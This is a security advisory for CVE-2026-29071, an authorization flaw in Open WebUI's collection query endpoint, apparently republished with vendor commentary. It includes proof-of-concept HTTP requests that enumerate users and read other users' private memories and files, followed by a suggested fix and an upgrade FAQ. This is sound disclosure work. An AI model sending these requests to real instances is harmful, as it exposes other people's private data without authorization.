CVE-2026-29071

Any authenticated user can read other users' private memories via /api/v1/retrieval/query/collection

Details

Vulnerability 1: Missing authorization in collection querying

In backend/open_webui/routers/retrieval.py, the query_collection_handler function accepts a list of collection_names but performs no ownership validation:

async def query_collection_handler(
    request: Request,
    form_data: QueryCollectionsForm,
    user=Depends(get_verified_user),  # Only checks authentication, not authorization
):

Collection names follow predictable patterns:

• User files: file-{FILE_UUID}
• User memories: user-memory-{USER_UUID} (requires Memory experimental feature)

PoC

Environment: Open WebUI v0.8.3, default configuration.
Setup:

1. Register two users: admin (first user) and attacker (second user).
2. As admin, upload a PDF document through chat.
3. As admin, enable Memory (Settings → Personalization → Memory) and add some memories.

Exploitation, Step 1: Enumerate all users

GET /api/v1/users/search HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>

Response reveals all users including admin's UUID, email, and role:

{
  "users": [
    {
      "id": "1e4756eb-b064-4781-8b06-4979bca59c8b",
      "name": "user",
      "email": "[email protected]",
      "role": "user"
    },
    {
      "id": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
      "name": "admin",
      "email": "[email protected]",
      "role": "admin"
    }
  ]
}

Exploitation, Step 2: Read admin's memories

Using the admin UUID obtained in Step 1, query their private memory collection:

POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json

{
  "collection_names": ["user-memory-<admin_UUID_from_step_1>"],
  "query": "test"
}

Response returns admin's private memories:

{
  "documents": [["User is testing IDOR", "User - Mariusz, security researcher"]]
}

Note: Step 2 requires the Memory experimental feature to be enabled. Steps 1 and 3 work on default configuration.

Exploitation, Step 3: Read admin's private file (Vulnerability 1)

File collections use the pattern file-{FILE_UUID}. The file UUID must be obtained separately. Once known:

POST /api/v1/retrieval/query/collection HTTP/1.1
Host: <target>
Authorization: Bearer <attacker_token>
Content-Type: application/json

{
  "collection_names": ["file-<file_UUID>"],
  "query": "test"
}

Response returns admin's private document content and full metadata:

{
  "documents": [["Test PDF  \nabc   \nbcd"]],
  "metadatas": [[{
    "name": "Test PDF.pdf",
    "author": "Mariusz Maik",
    "created_by": "81d2f94a-3dfb-479c-af98-e29f0f40c4ba",
    "file_id": "243bee10-49ad-466f-884b-67b6b3d74968"
  }]]
}

Disclosure

AI was used to assist with writing this report. The vulnerability was identified and confirmed through hands-on testing on Open WebUI v0.8.3. All screenshots are from real testing.

• Document theft: Any authenticated user can read the full content and metadata of files uploaded by any other user, including admins.
• User enumeration: All user UUIDs, emails, names, and roles are exposed to any authenticated user via /api/v1/users/search.
• Memory leakage: When the Memory experimental feature is enabled, personal memories stored by users for LLM personalization can be read by any other user, directly contradicting the official documentation.
• No admin privileges required: A regular user account is sufficient to exploit all of the above.

CVE-2026-29071 has a CVSS score of 3.1 (Low). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.8.6); upgrading removes the vulnerable code path.

Kodem intelligence

1. Add ownership validation in /api/v1/retrieval/query/collection:

async def query_collection_handler(
    request: Request,
    form_data: QueryCollectionsForm,
    user=Depends(get_verified_user),
):
    for collection_name in form_data.collection_names:
        if collection_name.startswith("user-memory-"):
            owner_id = collection_name.replace("user-memory-", "")
            if owner_id != user.id and user.role != "admin":
                raise HTTPException(status_code=403, detail="Access denied")
        elif collection_name.startswith("file-"):
            file_id = collection_name.replace("file-", "")
            # user_has_access_to_file, placeholder; verify file ownership
            # e.g. check if created_by matches user.id
            if not user_has_access_to_file(user.id, file_id):
                raise HTTPException(status_code=403, detail="Access denied")

2. Restrict /api/v1/users/search to admin-only or limit the fields returned to non-privileged users.

1. What is CVE-2026-29071? CVE-2026-29071 is a low-severity security vulnerability in open-webui (pip), affecting versions <= 0.8.5. It is fixed in 0.8.6.
2. How severe is CVE-2026-29071? CVE-2026-29071 has a CVSS score of 3.1 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of open-webui are affected by CVE-2026-29071? open-webui (pip) versions <= 0.8.5 is affected.
4. Is there a fix for CVE-2026-29071? Yes. CVE-2026-29071 is fixed in 0.8.6. Upgrade to this version or later.
5. Is CVE-2026-29071 exploitable, and should I be worried? Whether CVE-2026-29071 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-29071 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-29071? Upgrade open-webui to 0.8.6 or later.